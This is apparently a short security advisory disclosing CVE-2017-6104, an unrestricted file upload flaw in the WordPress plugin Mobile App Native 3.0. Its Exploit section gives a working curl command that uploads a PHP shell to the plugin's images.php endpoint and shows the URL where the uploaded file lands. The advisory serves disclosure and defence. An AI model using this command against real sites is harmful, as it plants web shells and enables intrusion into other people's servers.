Unrestricted File Upload vulnerability in Wordpress Plugin Mobile App Native 3.0

#926 · 2017-02-27

CVE ID(s): CVE-2017-6104

Notified: 2017-02-27

Description:

Mobile App WordPress plugin lets you turn your website into a full-featured mobile application in minutes using Mobile App Builder.

Exploit:

$ curl   -F "file=@/var/www/shell.php" "http://example.com/wordpress/wp-content/plugins/zen-mobile-app-native/server/images.php"
http://example.com/wordpress/wp-content/plugins/zen-mobile-app-native//server/images/8d5e957f297893487bd98fa830fa6413.php

Download: https://wordpress.org/plugins/zen-mobile-app-native/

URL: http://www.vapidlabs.com/advisory.php?v=178